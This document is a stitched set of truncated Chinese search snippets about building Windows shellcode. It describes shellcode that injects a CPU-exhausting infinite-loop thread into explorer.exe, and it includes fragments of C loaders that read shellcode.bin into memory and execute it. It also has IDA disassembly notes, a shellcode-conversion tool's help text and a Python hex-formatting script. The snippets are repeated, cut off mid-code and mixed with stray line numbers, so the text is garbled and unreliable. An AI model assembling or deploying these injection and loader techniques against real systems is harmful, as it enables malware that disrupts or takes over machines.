现在我将以完整的C程序的方式来展示上面所提及的内容。代码执行时,将生成名为shellcode.bin的文件,它就存储着shellcode。该shellcode可以向explorer.exe注入一个线程,实现无限循环,直至消耗完cpu。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32...
我们可以通过IDA来分析bin文件 打开后直接按c键,将其转为代码 注意到上图中,sub esp,17ch。这是因为esp为栈顶指针,栈由高向低增长,这里相当于是抬高了栈帧 之后call sub_17b,这样call的这一个指令的地址也就是0d会入栈,不过这时候我们在上图注意到此时0d开头的这一部分是一些没意义的数据 双击跟入sub_17...
我们可以通过IDA来分析bin文件 打开后直接按c键,将其转为代码 注意到上图中,sub esp,17ch。这是因为esp为栈顶指针,栈由高向低增长,这里相当于是抬高了栈帧 之后call sub_17b,这样call的这一个指令的地址也就是0d会入栈,不过这时候我们在上图注意到此时0d开头的这一部分是一些没意义的数据 双击跟入sub_17...
1通过上方代码生成二进制shellcode.bin文件,然后将其动态读入内存,并执行即可.23#include <stdio.h>4#include <Windows.h>56intmain(intargc,char*argv[])7{8HANDLE fp;9unsignedchar*fBuffer;10DWORD fSize, dwSize;1112fp = CreateFile(L"c://shellcode.bin", GENERIC_READ, FILE_SHARE_READ, NULL,13O...
通过上方代码生成二进制shellcode.bin文件,然后将其动态读入内存,并执行即可. #include <stdio.h> #include <Windows.h> int main(int argc, char * argv[]) { HANDLE fp; unsigned char * fBuffer; DWORD fSize, dwSize; fp = CreateFile(L"c://shellcode.bin", GENERIC_READ, FILE_SHARE_READ, NUL...
(C,C#,CPP,ASM) options: -h, --help show this help message and exit -bin BIN Input shellcode binary file -c C Convert binart into C raw shellcode -cpp CPP Convert binary into CPP raw shellcode -cs CS Convert binary into C# raw shellcode -asm ASM Convert binary into (NASM) raw ...
有了这个,我们就能通过shell_code函数开头和END_SHELLCODE函数开头间的距离来确定shellcode的长度了。还有,C语言在这里所体现的好处就是我们能够把程序本身当作一段数据来访问,所以如果我们需要把shellcode写到另外一份文件中,仅需简单的调用fwrite(shell_code, sizeofshellcode, 1, filehandle)。
最后,我们将动态读取Shellcode并在内存中执行它。以下是实现这一步的C代码: #include<stdio.h>#include<Windows.h>intmain(intargc,char*argv[]){HANDLE fp;unsignedchar*fBuffer;DWORD fSize,dwSize;fp=CreateFile(L"d://shellcode.bin",GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL...
我们如果不想复制出来shellcode运行我们也可以直接运行我们生成的sc.bin,不过得需要自己写一个加载器。 代码如下 #include<stdio.h> #include<stdlib.h> #include<windows.h> int main(int argc, char* argv[]) { HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL)...
#filename = "C:\\Users\\liang\\Desktop\\payload" shellcode = "{" ctr = 1 maxlen = 15 for b in open(filename, "rb").read(): shellcode += "0x" + str(binascii.hexlify(b.to_bytes(length=1, byteorder='big')))[2:4] + "," ...